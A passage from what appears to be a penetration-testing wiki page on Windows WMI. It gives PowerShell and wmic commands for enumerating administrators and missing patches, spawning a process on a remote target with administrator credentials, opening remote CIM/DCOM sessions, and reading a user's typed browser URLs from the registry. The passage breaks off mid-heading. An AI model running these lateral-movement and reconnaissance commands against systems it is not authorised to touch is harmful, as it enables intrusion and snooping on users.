<p id="bkmrk-some-examples-%3A"><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:8" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNhbiUyMHRha2UlMjBtdWx0aXBsZSUyMHZlcmJzJTIwdG8lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyY2FsbCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmNyZWF0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmRlbGV0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmxpc3QlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyQyUyMGV0YyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNvbWUlMjBleGFtcGxlcyUyMCUzQSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Some examples :</span></span></p>
<h4 id="bkmrk-groups"><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:8" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNhbiUyMHRha2UlMjBtdWx0aXBsZSUyMHZlcmJzJTIwdG8lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyY2FsbCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmNyZWF0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmRlbGV0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmxpc3QlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyQyUyMGV0YyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNvbWUlMjBleGFtcGxlcyUyMCUzQSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Groups</span></span></h4>
<pre id="bkmrk-%3Egroup-where-name%3D%27a"><code class="language-Powershell">&gt;group where name='Administrator' assoc</code></pre>
<h4 id="bkmrk-get-process-name"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMHByb2Nlc3MlMjBuYW1lJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Get process name</span></h4>
<pre id="bkmrk-%3Eprocess-get-name"><code class="language-Powershell">&gt;process get name</code></pre>
<h4 id="bkmrk-spawn-a-new-process-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlNwYXduJTIwYSUyMG5ldyUyMHByb2Nlc3MlMjBvbiUyMGElMjB0YXJnZXQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Spawn a new process on a target</span></h4>
<pre id="bkmrk-wmic-%2Fnode%3A10.0.0.6-"><code class="language-Powershell">wmic /node:10.0.0.6 /user:administrator process call create "cmd.exe /c calc"</code></pre>
<h3 id="bkmrk-missing-patches"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1pc3NpbmclMjBwYXRjaGVzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Missing patches</span></h3>
<p id="bkmrk-look-at-missing-patc"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1pc3NpbmclMjBwYXRjaGVzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Look at missing patches on the box</span></p>
<pre id="bkmrk-wmic-qfe-list"><code class="language-Powershell">wmic qfe list</code></pre>
<h2 id="bkmrk-remote-computers"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW90ZSUyMENvbXB1dGVycyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Remote Computers</span></h2>
<p id="bkmrk-we-need-admin-privs-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW90ZSUyMENvbXB1dGVycyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">We need admin privs on the target machine<br></span><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW90ZSUyMENvbXB1dGVycyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">If the WMI or the RPC port don't work, we can use CIM cmdlet</span></p>
<h3 id="bkmrk-retrieve-remote-obje"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW90ZSUyMENvbXB1dGVycyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Retrieve remote objects</span></h3>
<pre id="bkmrk-get-wmiobject--class-4"><code class="language-Powershell">Get-WmiObject -Class win32_OperatingSystem -ComputerName 192.168.1.1 -Credential contoso\john</code></pre>
<h3 id="bkmrk-create-a-cim-session"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNyZWF0ZSUyMGElMjBDSU0lMjBzZXNzaW9uJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Create a CIM session</span></h3>
<pre id="bkmrk-%24sess-%3D-new-cimsessi"><code class="language-Powershell">$sess = New-CimSession -ComputerName 192.168.1.1 -Credential contoso\john
Get-CimInstance -CimSession $sess -ClassName win32_OperatingSystem</code></pre>
<h3 id="bkmrk-force-dcom-use"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkZvcmNlJTIwRENPTSUyMHVzZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Force DCOM use</span></h3>
<pre id="bkmrk-%24sessionoptions-%3D-ne"><code class="language-Powershell">$sessionoptions = New-CimSessionOption -Protocol Dcom
$newsession = New-CimSession -SessionOption $sessionoptions -ComputerName 192.168.1.1 -Credential contoso\john</code></pre>
<h2 id="bkmrk-interact-with-window"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkludGVyYWN0JTIwd2l0aCUyMFdpbmRvd3MlMjBSZWdpc3RyeSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Interact with Windows Registry</span></h2>
<p id="bkmrk-present-in-the-root%5C"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkludGVyYWN0JTIwd2l0aCUyMFdpbmRvd3MlMjBSZWdpc3RyeSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><span data-offset-key="7694dc3788504b2882a471a089c0bb53:0">Present in the </span><span data-offset-key="7694dc3788504b2882a471a089c0bb53:1"><strong class="bold-3c254bd9" data-slate-leaf="true">root\default</strong></span><span data-offset-key="7694dc3788504b2882a471a089c0bb53:2" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlByZXNlbnQlMjBpbiUyMHRoZSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJyb290JTVDJTVDZGVmYXVsdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwbmFtZXNwYWNlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="> namespace</span></span></p>
<pre id="bkmrk-get-wmiobject--names-0"><code class="language-Powershell">Get-WmiObject -Namespace "root\default" -Class StdRegProv -List | select -ExpandProperty Methods
#Or
$reg = Get-WmiObject -Namespace "root\default" -Class StdRegProv -List
$reg.methods</code></pre>
<h3 id="bkmrk-retrieve-typed-inter"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJldHJpZXZlJTIwdHlwZWQlMjBJbnRlcm5ldCUyMEV4cGxvcmVyJTIwVVJMJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Retrieve typed Internet Explorer URL</span></h3>
<p id="bkmrk-in-the-registry-key-" class="blockParagraph-544a408c" data-key="b488d267af3349ecb2cef0ebcf92048a"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="90e8031251ce4f869386db17439a437f">In the registry key <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">HKCU:\software\microsoft\internet explorer\typeurls</code></span></span></p>
<h4 id="bkmrk-get-all-the-properti"><span class="text-4505230f--HeadingH400-686c0942--textContentFamily-49a318e1"><span data-key="cd5b52b722c246908868b63f54ec3996">Get all the properties</span></span></h4>
<pre id="bkmrk-%232147483649-%3D-hkcu-i"><code class="language-Powershell">#2147483649 = HKCU
Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name EnumKey @(2147483649,"software\microsoft\internet explorer") | select -ExpandProperty sNames</code></pre>
<h4 id="bkmrk-get-the-values"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldCUyMHRoZSUyMHZhbHVlcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Get the values</span></h4>
<pre id="bkmrk-invoke-wmimethod--na"><code class="language-Powershell">Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1")
#Or
$reg.GetStringValue(2147483649,"software\microsoft\internet explorer\typedurls","url1")</code></pre>
<h4 id="bkmrk-on-remote-computer"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk9uJTIwcmVtb3RlJTIwY29tcHV0ZXIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">On 